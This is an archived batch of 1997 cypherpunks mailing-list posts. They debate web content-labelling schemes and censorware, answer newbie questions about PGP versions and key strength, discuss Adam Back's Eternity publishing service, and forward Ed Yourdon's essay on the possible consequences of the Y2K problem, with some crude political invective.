Jamie Love is one of those nasty Naderites who believes that what the
government shouldn't control, the plaintiff bar should.

I killfiled him on com-priv a long time ago, and, when Tim started rastlin'
ol' Ralph-once-removed here on cypherpunks, I killfiled Love here, too.

Oddly enough, Love has a mailing list with lots of fun government-baiting
goodies in it, so he's not all that bad. Chalk it up to broken clock
disease, I guess...

Actually, now that I think about it, his newsletter talks all about how to
trash "public" utility commission meetings, which of course, wouldn't even
exist if idiots like him and Army-Boot Ralph hadn't created P-U-C's to
F-U-C us all, monopoly-wise, in the first place.

Jamie and Ralph-the-Plaintiff-Bar-Licker are basically Mutt to the State's
Jeff. Same as it ever was...

Thank God for Eudora Pro.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 29 Jul 1997 04:43:26 +0800
To: Tim May <love@cptech.org>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <3.0.2.32.19970728163613.0069dca8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>      Why label it then?  I won't.  I think people should resist labels
>>on text.  99 percent of the concerns over web pages has to do with
>>graphics..... I would suggest dealing with the most obvious and
>>legitimate complains, but drawing a line where it made sense too.
>
>I wasn't saying I planned to label my writings. I was making the point that
>if "crap" and "consequences" (such as the law enforcement actions and
>legislation you yourself mention above) befall those who mislabel their
>sites, then surely this will not be confined to images alone. The "fisting
>and pissing" stuff you cited in another message will be equally unsuitable
>for children--many will claim--even if it is in the form of stories,
>attempts to recruit, etc.

Censorware naturally targets words rather than pictures because it is easier 
to write software that indexes and classifies words than it is to write image 
recognition software.  Language is actually blocked *more* than pictures 
since the programs themselves contain software to block forbidden words even 
on sites that have not been put on the censorware block list.

Jake Baker spent 30 days in stir for a text-only post.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM90Ct4VO4r4sgSPhAQGslwP+IzKsUEikXAnzfFAm6Y0Xw2Zvf7ogexXg
Ki1xQ0zUj28kZVIX0i/HDdr0dJVLoi5dwxXvLZPZ1jokQYVnUNPrTyW7jAEpFPS8
G4Bfa+wzMhgXpcbEBtlzHzN50owHJ/ZHb55Xczy0b7kDF8HbSfnH593klaWEALQl
OVDZ49hwJNo=
=1iQs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 28 Jul 1997 23:51:36 +0800
To: cypherpunks@toad.com
Subject: Cryptography Question (I hope it's not off-topic on this list)
Message-ID: <199707281537.RAA09388@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  I was thinking about *chaining* remailers and wondered if encryption
of a certain strength could be *chained* in order to make it as strong
as stronger encryption.
  e.g. - If only 56-bit encryption becomes legal, is there a method
of *chaining* several passes of 48-bit encryption which would make it
just as hard to break as 96/192/384-bit (etc.) encryption?

  If this is indeed impossible, then perhaps the government might pass
a law that makes it illegal to encrypt an encrypted file, but experience
seems to suggest that any law passed always leaves a loophole or back
door for inventive people to circumvent it.

  CyberDoc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 29 Jul 1997 09:07:33 +0800
To: cypherpunks@cyberpass.net
Subject: y2k problem *serious*
Message-ID: <199707290054.RAA21755@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



some people have talked about the y2k problem here, the 
"year 2000 problem". as programmers know, is the
name given to the glitches that are caused by software
malfunctioning because it only used 2 characters for the
date field. I have mentioned that I think government
agencies are going to be particularly hard-hit by this 
situation. I envisioned delays in payments etc. of something like
a few weeks or so.

however some recent new data and analysis by someone
named Gary North causes me to rethink my position.
it's somewhat alarmist, but he's got some excellent evidence.
he believes the year 2000 problem is vastly more serious
than anyone has realized. he thinks it may even lead to
bank panics and instabilities in the entire worldwide
economic system.

he quotes Yourdon, a very respectable software professional, who
talks about the domino effect in software such that even 
if parts of it are fixed, the erroneous sections can cause
the system as a whole to fail.

I suspect that we will be seeing some major, major news
events related to y2k over the next year, all the way up
to 2000.

more info on this perspective can be found at 
  www.garynorth.com

this will be an incredibly important issue for virtually all
programmers in the information field. (some cryptoanarchists
here might rejoice at the potential here for mass social 
disruptions. may you live in interesting times.)



   
   The Yourdon Report
   Vol. 1, No. 4, June 1997. &copy; Copyright 1997 by Cutter Information
   Corp.
   
The Personal Consequences of Year 2000

   Dear Colleague,
   
   
   
   Where will you be on New Year's Eve, 1999? If you're involved in the
   computer field in any way, there's a high likelihood that you'll be
   frantically working on the last-minute details of a year-2000 project.
   Yes, I know, not everything is written in COBOL and not every hotshot
   Java programmer is interested in the problem. But if you're an
   application programmer who normally develops business applications in
   Visual Basic, PowerBuilder, Smalltalk, or COBOL, there's a good chance
   that your organization will give you a temporary assignment to help
   out with converting mission-critical systems that are too important to
   fail. If you're a new-age Java programmer in a Silicon Valley startup
   company, maybe you'll be able to ignore the whole thing; but for many
   of the people who write software, 1998 and 1999 will be the years of
   year-2000 death march projects.
   
   I assume that anyone who reads this newsletter is familiar with the
   basics of the year-2000 problem; I won't bore you with a repetition of
   the details, or how we managed to get ourselves into this state. What
   I do want to talk about is the notion that it's our organizations that
   got themselves into this state, and that we have to make sure we
   distinguish between the problems and demands of our organizations,
   versus the problems and demands of our own lives and the lives of our
   families and friends.
   
   First, let's deal with the basic moral issue of culpability and
   responsibility. As you well know, there are some enormous legacy
   mainframe systems that will fall over and collapse on January 1, 2000,
   unless a thorough, expensive, and time-consuming effort is made to
   make them year-2000 compliant. But it's highly unlikely that you wrote
   the original code for those systems; indeed, the original programmers
   are probably long gone, maybe even dead. Or, ironically, those
   programmers may have been promoted: They may be your boss, or your
   boss's boss, or the CIO of the whole shop.
   
   In the rare case where you actually worked on the applications that
   now require year-2000 maintenance, chances are that nobody paid
   attention 15-20 years ago if you recommended that the date be coded
   with a four-digit year field. You were told how expensive memory was,
   and that none of these systems would last through the 1970s, or the
   1980s, or the 1990s.
   
   In other words, with very, very few exceptions, the year-2000 problem
   is not your fault. Maybe we should have been smarter 20 years ago, and
   maybe we should have staged a mass revolt when our business users told
   us that they didn't want to spend the money for an extra two bytes of
   storage every time a date field was required within an application.
   Maybe they didn't really understand the significance of the short-term
   tradeoff that we made on their behalf. But after all, it was their
   money and their systems. In any case, there's a good chance that you
   can look at yourself in the mirror and honestly say: It's not my
   fault.
   
   Perhaps you feel that, as a member of a more-or-less professional
   category of "knowledge" workers, we all share collective
   responsibility for letting society get itself into the year-2000
   dilemma. After all, what if mechanical engineers told us that a flaw
   in their calculations would lead to bridges and buildings falling over
   and crashing on January 1, 2000? What if they collectively shrugged
   their shoulders and said, "Well, it's not our fault. Newton, Galileo,
   and Einstein made a few miscalculations in their basic laws, and we
   just realized the problem."
   
   From that perspective, none of us really wants the IT community to end
   up with a huge black eye, or with the blame for having caused a
   massive economic and social disruption associated with year-2000
   software problems. I'm willing to contribute some time and energy to
   help solve the problem. I'm willing to say, "Well, it doesn t really
   matter whose fault it is at this point. The most important thing is to
   fix the problem, and then move on."
   
   But what if the problem cannot be fixed? What if January 1, 2000,
   arrives and half of your company's software has not been converted?
   What if your organization collapses as a result? At that point, where
   does your responsibility lie? The interesting thing about this is that
   almost every organization could have fixed its year-2000 problem if it
   had begun addressing the problem in 1995 or before. But if the
   year-2000 conversion team is just forming now, in mid-1997, then the
   conversion almost certainly won't be finished when New Year's Eve
   rolls around two years from now. And that part of the problem is the
   fault of senior management, which was too busy worrying about other
   issues to focus on the biggest software project of all time.
   
   Let me stop for a moment and address a basic point: Many software
   professionals believe that the year-2000 problem will be somewhat
   annoying, and somewhat expensive to fix, but they can't bring
   themselves to believe that it could be a major, fundamental problem.
   It's like asking the residents of Southern California if they really
   believe that they're going to wake up one day and find that the San
   Andreas Fault has finally ruptured, and that California is now an
   island floating in the general direction of Hawaii. "We've lived with
   plenty of earthquakes, and some of them have been pretty serious,"
   these folks will tell you. "Someday, the Big One will hit, but I
   really can't believe it's going to happen this year, or next year, or
   the year after."
   
   So here's the question: Do you believe the year-2000 problem is going
   to be really serious? Do you think it could shut down telephone
   service, banking systems, and airline systems for a few days, or a few
   weeks, or even a few months? I've been thinking about all of this
   during the last several months, and I'm becoming increasingly worried
   about the "ripple effect" problems that will be difficult to
   anticipate, and almost impossible to avoid. It won't be the end of
   civilization, but the year-2000 problem could indeed trigger a
   depression on the scale of the Great Depression in the U.S. during the
   1930s. For example, consider XYZBank, which has 300 million lines of
   legacy code. Assume that XYZ has the time and resources to convert 200
   million lines, and it has done a triage to ensure that the
   mission-critical systems are converted. That leaves 100 million lines
   of unconverted code that won't run at all, or will spew out gibberish.
   Since this unconverted code is associated with noncritical systems, it
   won't have a fatal impact on XYZ though it could incur a nontrivial
   cost. My real concern is that the applications XYZ considers
   noncritical might be very critical to some of XYZ's customers,
   partners, suppliers, etc. So it's quite possible that XYZ's failure to
   convert some of its software will cause little, tiny ABCWidget Company
   to go bankrupt, which causes slightly larger DEF Corp. to fold, and so
   on.
   
   Meanwhile, XYZ can't operate entirely alone; without electricity,
   phone service, and water, the offices can't function; without
   transportation services, none of its employees can come into work, and
   none of its customers can visit the bank to transact business. Let's
   assume for a moment that these basic utilities do continue operating
   properly after January 1. But what if the Federal Reserve Bank,
   S.W.I.F.T., and all the other banks that XYZ interacts with are having
   problems? What if XYZ's ability to print monthly bank statements
   depends on PQRPaper Corp. supplying laser-printing paper on a "just in
   time" basis? And what if PQR has a staff of three overworked
   programmers who maintain an ancient legacy system written in assembly
   language? If PQR stops shipping paper, then XYZ stops sending bank
   statements. Not forever, perhaps just for a month or two, but that's
   enough to cause a lot of confusion.
   
   There's also going to be a lot of confusion resulting from bugs
   injected into the converted programs. If XYZBank converts 200 million
   lines of code between now and December 31, 1999, then there will be an
   enormous amount of testing, and with that much code it's inevitable
   that some bugs will slip through. Maybe not fatal bugs that delete the
   database or shut down the bank's systems, but perhaps the kind of bug
   that will send incorrect monthly statements to 100,000 of the bank's 3
   million customers. A problem like this might not be noticed until
   January 31, or when the year-end statements are produced on December
   31, 2000.
   
   The problem with 100,000 incorrect statements is that it will generate
   100,000 angry phone calls. Indeed, officials at the Social Security
   Administration (SSA) are quoted as saying that if the SSA has a 1%
   error rate in its retirement checks and other benefits, it will lead
   to somewhere between 43 and 50 million phone calls, starting the day
   after the checks are mailed. If the problem isn't resolved right away,
   then those people are likely to call back the next day, and the day
   after that, and the organization is likely to be in a state of
   paralysis.
   
   Back to the banks again: Do I really think that Citibank, Chase,
   Chemical, and BankAmerica (along with all the huge Japanese and
   European banks) are going to shut down on January 1, 2000? No, of
   course not. But I won't be surprised if the XYZSavings and Loan in
   South Poobah discovers that it can't process deposits and withdrawals
   for a week or two. That problem might cause a run on the bank, or an
   outright bank failure, and similar problems are likely to occur for a
   number of other small organizations as well. General Motors (GM) won't
   go bankrupt, but ABCWidget and PQR Paper could.
   
   Indeed, if ABCWidget goes bankrupt, it could cause serious problems
   for large companies like GM. Suppose ABC is one of the 100-odd
   companies that supply parts for GM cars and the widgets manufactured
   by ABC are an essential element of the transmission system. Because of
   the lean manufacturing system used throughout U.S. industry today,
   there's a good chance that GM doesn't have an inventory of widgets;
   ABC is supposed to deliver the appropriate number of new widgets to
   the GM plant every day. To ABC's surprise, its computers fail on
   January 1, 2000, and its widget production line shuts down. A week
   later, GM's production line grinds to a halt until it can find a
   replacement widget manufacturer. Meanwhile, GM's factory workers are
   furloughed without pay.
   
   By now, I'm sure you get the drift of my concerns. The interesting
   thing is that while software professionals and systems analysts are
   well-equipped to understand the reasons why the software could fail,
   and the possible consequences of those failures, they prefer to deny
   it. I wasn't aware of this until I watched Peter de Jager's year-2000
   presentation at our recent Summit 97 conference, which ended with a
   question to the audience: "How many of you really believe these
   problems will occur?" To my surprise, a significant number of people
   raised their hands to indicate they did NOT believe that serious
   year-2000-related failures would occur. They couldn't disagree with
   any of the technical points that de Jager raised, just as you probably
   won't find anything fundamentally wrong with my arguments here. But de
   Jager's audience, and many of the people reading this newsletter,
   don't want to believe things could be this bad. "Surely," people will
   argue, "companies will find a way to solve this problem." Given our
   track record for normal software projects over the past 30 years, this
   argument borders on hysterical optimism. More likely, it's cognitive
   dissonance: If the facts disagree with the conclusions you were hoping
   for, then ignore the facts.
   
   What does all of this have to do with your job? Well, first you need
   to realize that a "denial of reality" may be taking place within your
   own organization today. Has your CEO or board of directors made a
   public commitment that all of the organization's systems will be
   year-2000 compliant, and that there is a detailed plan for coping with
   the organization's non-year-2000-compliant vendors, suppliers,
   customers, etc.? Do some arithmetic: If your company has 100 million
   lines of code in its application portfolio, then as of June 1, it
   would need to convert more than 100,000 lines of code per day, every
   day, in order to finish the job on time. Do you see the plans, the
   people, the tools, and the management commitment to make that happen?
   
   If not, what will be the impact on your job? Chances are that your
   company will go into panic mode sometime in 1998, halt all of its
   development work, and assign everyone in the IT department to work on
   year-2000 conversions. When I say everyone, I mean everyone.
   Secretaries will be drafted into the testing effort, and the managers
   will be expected to begin writing COBOL code. Is that the kind of
   environment, with everyone putting in double overtime, that you want
   to work in? And if the year-2000 conversion isn't finished on time,
   who will be blamed? You can be sure there will be lawsuits; are you
   sure you'll escape the wrath of the lawyers?
   
   If your company's year-2000 problems are very severe, what happens if
   it goes bankrupt? Will you be able to get another job? (An even more
   interesting question: At that point, will anyone want to admit that he
   or she is a programmer, or will it be a social stigma after January 1,
   2000?) If you're out of work for six months, do you have enough money
   in the bank to support your family?
   
   Speaking of banks, what if your savings account is in XYZSavings and
   Loan of South Poobah? If depositors begin to worry about XYZ's
   year-2000 compliance in late 1999, will they begin withdrawing all of
   their money? If they do, will you be able to withdraw your money on
   January 3, 2000? Indeed, given the delicate balance of the fractional
   reserve system used by banks, it doesn't take a very large percentage
   of panicky customers to cause a bank run. The worst-case scenario in
   this area is pretty scary -- it might not be just the XYZSavings and
   Loan that suffers a bank run, but the big banks too. If the banks
   close for more than a couple of days, then how does the government
   collect taxes? If the government can't collect taxes, what happens to
   the value of its bonds, T-bills, and other financial instruments?
   
   Meanwhile, how many non-year-2000-compliant railroad and trucking
   companies will it take to disrupt the transportation infrastructure?
   While you're thinking about this, keep in mind another aspect of the
   lean manufacturing system -- the average grocery market, especially in
   urban areas, has to be restocked every 72 hours.
   
   I don't have answers for all of these questions, and I spend a portion
   of each day wanting to believe that none of these crises will occur.
   But I can't find a way to deny the possibility that they could occur,
   not exactly in the way I've described, but as a series of
   domino-effect problems that ripple through society. And if my software
   experience allows me to anticipate some of this, then your experience
   should provide similar insights. Think about this, and try very hard
   to avoid the cognitive dissonance problem.
   
   If the problem is anywhere near as bad as I think it could be, then
   you have to think very carefully about your loyalties and priorities.
   Will your employer get first call on your loyalty, or will it be your
   family and loved ones? On January 1, 2000, will you be at your
   keyboard, still converting two-digit year fields? Think about this
   now, while things are still calm. It won't be so easy two years from
   now. Ciao!
   
   Ed
   Internet: ed@yourdon.com
   Web site: http://www.yourdon.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Date: Tue, 29 Jul 1997 09:33:45 +0800
To: cypherpunks@toad.com
Subject: Re: NSA cracker - how many TW
In-Reply-To: <19970728193101.4574.qmail@squirrel.owl.de>
Message-ID: <199707290121.SAA09986@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, Jul 28, 1997 at 07:31:01PM -0000, Secret Squirrel wrote:

> IBM have published a communications scheme that claims to recover
> energy normally lost - it was on their website a few months ago.
> I skipped reading it at the time because it sounded dotty.

A few years ago an engineer at one of the weapons labs found
a new solution to Maxwells equations.  This was briefly
reported in the general press, and seemed to imply that the
solutions found allowed for soliton-like wave packets. 

Some time later there were experiments reported using water
tanks with specially shaped wave generators that were trying
to create a water-wave analog.  The article describing these
experiments speculated, if I remember correctly, that
special antenna geometry and manipulation of the input
signal might be used to generate a electromagnetic wave
equivalent.  There was also brief speculation about uses for
such a device -- beamed energy packets, for communications,
or, at high power, for energy transfer.  Or weapons. 

Anyone else remember this?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Avery <cavery@ccnet.com>
Date: Tue, 29 Jul 1997 09:43:26 +0800
To: "'bennett_t1@popmail.firn.edu>
Subject: RE: Queries from a Cyper-newbie?
Message-ID: <01BC9B83.ACB20460@h97-158.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



1. Thanks for the comments. I indeed meant "crackable" when I said "unencryptable", as you surmised. I'll learn.

2. I don't precisely know what it means to "change hashes" on RSA keys, though I get the drift. Where can I go for details?

3. I'll do the www.crypto.com thing, thanks for the pointer. This may be a critical last stand on the privacy of communications issue. What gets me is the blind arrogance with which govt "servants" assume that their (even if legitimate) pursuit of crime somehow excuses or justifies diminishing privacy rights for everyone else. There must be some kind of ratio: 1,000,000 rights diminished for  1 criminal activity detected?  Doesn't make sense. 

Thnks.


----------
From: 	bennett_t1@popmail.firn.edu[SMTP:bennett_t1@popmail.firn.edu]
Sent: 	Monday, July 28, 1997 5:35 PM
To: 	Chris Avery
Cc: 	cypherpunks@toad.com
Subject: 	Re: Queries from a Cyper-newbie?

-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 7/28/97 -0700, you wrote:
>Anybody willing to offer a bit of help to a cypher-newbie?  I'm 
trying to sort out a few of the basics:

Well as long as you ask like that instead of what most newbies do, 
such as try and subscribe by sending "Add me to the mailing list" to 
the list.

>1. PGP 5.0 -- good software?

It's better integrated for Mac Lusers and Windows 95ers.  It is, 
however, flawed in some respects.

>If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 
different than 2.6.3i ?  Which is better?

2.6.3i cannot use CAST, or (who would want to , it's DES!) Triple-
DES.  It does however, can use other hashes with RSA, thanks to 
someone's discovery on PGP-USERS.  2.6.3i is dos native, and complex. 
 A shell integrates nicely, but it's still not the same.

>2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i 
(and vice versa?)  Using RSA keys? 

ONLY using RSA keys.  DSS/Diffie-Hellman support is being added to 
old PGP's.  RSAREF is used in PGP 5.0 .  MPILIB, Phil Zimmermann's 
original PGP RSA algorithm implementation is used in international 
versions.  It's becuase of RSA's patent stuff.

>3. I understand certain encryption s/w cannot be legally exported, I 
am aware that such s/w is nevertheless being used (and built) abroad. 
 My queries:  Is purely domestic use being threatened by the pending 
legislation?  Is it already illegal to send an encrypted msg out of 
the US? If so, is it illegal to receive an encrypted msg from outside 
the US?

Unless it is the "shitty 40 bit" type.  It can be built abroad, for 
example, IDEA was made in switzerland, or something like that..., PGP 
2.6.3i was made legally, I think.  Domestic use is being threatened 
by Nazi Motherfuckers like Billy-Bob Clinton [spit], The FBI, and the 
NSA.  Oppose them.  Go to www.crypto.com and do some of the stuff 
there.  Sending and recieving mail from the outside of the US *is 
legal*.

>4. How strong is strong?  My MS Explorer has the 128 bit encryption 
scheme to secure domestic financial transactions (such as credit 
cards). How "un-encryptable" is this? I read some recent postings 
here re difficulty of breaking 128 bit keys -- but this had reference 
to stronger methods of encryption than MS Explorer uses, right? So 
128 bits is hard to break (umptyump years, terrawatts, etc.)? Then 
why does my PGP 5.0 software offer keys that are 768, 1024, etc. up 
to 4096 bits in length? Are these numbers on the same scale? 

Unencryptable?  What the fuck are you talking about?  If you mean 
crackable, let's just say it'd take several time the age of the 
Universe to crack it.  The RSA keys are weaker than symmetric 
cyphers, unless we're talking about DSS/Diffie-Hellman keys with 
4096bits.  They are not on the same scale.

>Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS 
there some layman-understandable difference between these? 

Well, RSA's are patented and RSA is really anal with their patents.  
DSS/Diffie-Hellman keys are unpatented.  You can change hashes on RSA 
keys (RIPEM160, MD5 [was broken already], and SHA-1).  But to use 
those RSA's with older PGP's, use only MD5.

>5. Is international data traffic somehow monitored (or monitorable) 
to detect encrypted traffic?

It can be detected that you're using encryption.  Breaking PGP is 
another thing.

If any other cypherpunks want to correct me here, do so.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9065B0+FhmmTrSJAQEdsgQAmRAJR7CxQCy4Wfny8YM6oJ3chLKnJCnA
E45EElRsAVS8zyAWy06/ZJFG8XjInjgAzmx+fRvGoN0qHvObyFfrDMPML0w+405s
cddgcApc0DfbjP8narKHVBQnbOhwuSjdDbwTbFF9F+EG0OkXewgYKXS/QnS11ov/
ofr4ooPGcr0=
=rowH
-----END PGP SIGNATURE-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 03:52:20 +0800
To: love@cptech.org
Subject: Thomases (Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <199707281729.SAA00614@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Love <love@cptech.org> writes:
> Tim May <tcmay@got.net> writes:
> > Such as the multiple years in prison that each of the Thomases got?
> 
>      I don't know the Thomases, but did they get "multiple years in
> prison" for mislabeling?  Or for something else?

The Thomases ran an adult BBS and video business in California.  The
fedz busted them by the following moves:

1. Fed stooge posts Thomases some kiddie porn video tapes
2. Fedz kick down the door 30 seconds later before Thomases even knew
   they'd received any mail
3. Fedz tried Thomases in some other state with strong puritanical
   tendencies
4. Fedz locked up Thomases and threw away the key.

Most people who hear the story immediately wonder why the child porn
peddling Fed stooge wasn't locked up rather than the entirely innocent
Thomases.

For details there is a good write up in Phrack.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 29 Jul 1997 09:51:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <199707282148.WAA01753@server.test.net>
Message-ID: <19970729014252.9662.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

 > You two must've been snoozing when I posted the Eternity
 > service announce back in April.  I implemented something
 > which does pretty much exactly what you're discussing.  I'll
 > include a repost below.

I skimmed it.  "Eternity" makes me think of caskets and people in
dark suits with expensive prices. :)

 > So beyond implementing it, which I've done a first cut of,
 > the next problem is getting people to use it, to advertise
 > it so that people know it exists, to get people to put lots
 > of "interesting" (= otherwise censored, so possibly pretty
 > interesting) materials on it, so that people find it
 > interesting to browse documents on it.

Hmmm.  I would certainly not want to be the only person running a
server when the "interesting" materials got posted.

 > Realtime uncensorable web courtesy of altavista :-)

I like it.

 > System requirements are:

 >   unix
 >   perl5
 >   news source (local news spool or access to nntp server)
 >   pgp (2.6.x)
 >   web space
 >   ability to install cgi-binaries
 >   ability to schedule cron jobs a plus but not essential

Hey - I've got all those things on my new Zipcon shell account
including 10 meg of disk and my own cgi-bin dir.

 > If someone wants to set one up to demo, and post the URL
 > that would be useful.

I'll see if I can get it to work.  Perhaps I can be Jim Bell's
cellmate if things don't work out.  :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:05:46 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCA6FE.32CB0327@cptech.org>
Message-ID: <omRkae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



James Love <love@cptech.org> writes:

> Paul Bradley wrote:
> >
> > > Tim, if you think that no web site are unambiguously inappropriate
> > for
> > > children, then you are in a state of denial.
> >
> > Please clarrify this for us: What sites would you classify as
> > unsuitable
> > for children?
>
>
> Let me you way out on a limb, and suggest the following entries, from an
> infoseek search for the workd PICS, would be unabiguously inappropriate
> for children.
>
> --------------------------------
>
> Pissing, Fisting and beastiality! We go to great lengths to bring you
> the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> Watch! Unfortunately, We can't bring you everything!
> 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
>
> Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
> The ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action!!! 100% GUARANTEED free xrated pics Action!
>
> 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
>
> -------------------------------------------------

This sounds like the kind of stuff teenagers are interested in, have
little trouble finding in the "real world", and usually lose interest
in by the time they're 15.

They're probably the majority of the readers of these particular sites.

And your point is?..

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:09:23 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.SUN.3.96.970728114856.11644C-100000@beast.brainlink.com>
Message-ID: <6RRkae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:

> On Sat, 26 Jul 1997, Tim May wrote:
>
> > As long as ratings are completely and full uncoerced, fine. It's the "crap"
> > and "consequences" you speak of that worry me. If one of the pieces of crap
> > is  a $100K civil fine for mislabelling, or one of the consequences is 5
> > years in jail, then it ain't a voluntary system, is it?
> >
> > --Tim May
>
> Of course it's voluntary, citizen unit Tim C. May #0845676FCXV3, it's as
> voluntary as filing an 1040 form, and it's certainly as voluntary as
> communist countries had voluntary work for teens who would voluntarily go
> to work on farms durring their summer vacations.

And let's not forget the thousands of volunteers who helped clean up Chernobyl.
A minute of silence...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:11:02 +0800
To: cypherpunks@toad.com
Subject: Re: Thomases (Re: Yet another self-labeling system (do you remember -
In-Reply-To: <199707281729.SAA00614@server.test.net>
Message-ID: <scskae5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:
>
> James Love <love@cptech.org> writes:
> > Tim May <tcmay@got.net> writes:
> > > Such as the multiple years in prison that each of the Thomases got?
> >
> >      I don't know the Thomases, but did they get "multiple years in
> > prison" for mislabeling?  Or for something else?
>
> The Thomases ran an adult BBS and video business in California.  The
> fedz busted them by the following moves:
>
> 1. Fed stooge posts Thomases some kiddie porn video tapes
> 2. Fedz kick down the door 30 seconds later before Thomases even knew
>    they'd received any mail
> 3. Fedz tried Thomases in some other state with strong puritanical
>    tendencies
> 4. Fedz locked up Thomases and threw away the key.

it's important to note that the Thomases were acquited on most charges,
including all child porn charges, but were convicted on "minor" obscenity
charges.

The same the Waco survivors were acquitted of almost everything but the
"minor" weapond possession and locked up for many, many years based on that.

Apparently the juries felt that if the fedz had gone to the trouble of
putting together a case, they're obliged to convict of something "minor".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 29 Jul 1997 04:31:33 +0800
To: cypherpunks@toad.com
Subject: NSA cracker - how many TW
Message-ID: <19970728193101.4574.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain




iang@cs.berkeley.edu
>  seems also unlikely.  (Actually, for all I know, terawatt power sources
>  may exist; that's out of my field.  Please let me know if this is the case.
>  I just know that at my rates, 7.12 TW for 33 minutes (at about $.10/kWh)

I've extracted some figures from an industry publication
and arrive at a worldwide electricity generation capacity
of 1.6 TW.  Assuming that 1% of that power is smuggled into
the deep space cracker we're not even close to 33 minutes,
and it doesn't matter whether we're looking at a one-off
every so often rather than a continuous 40 a day.

And that's still on optimistic assumptions including

1)  testing keys for free

2a) running on earth at 3 K rather than 300 K

or

2b) no bother transmitting power & signals into space
    (Like if the cracker had been secretly installed on Voyager 2
    that'd be your 33 mins gone waiting for the radio.)

IBM have published a communications scheme that claims to recover
energy normally lost - it was on their website a few months ago.
I skipped reading it at the time because it sounded dotty.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 28 Jul 1997 18:49:42 +0800
To: Guillotine <guill@xmission.com>
Subject: Re: New Crypto Application
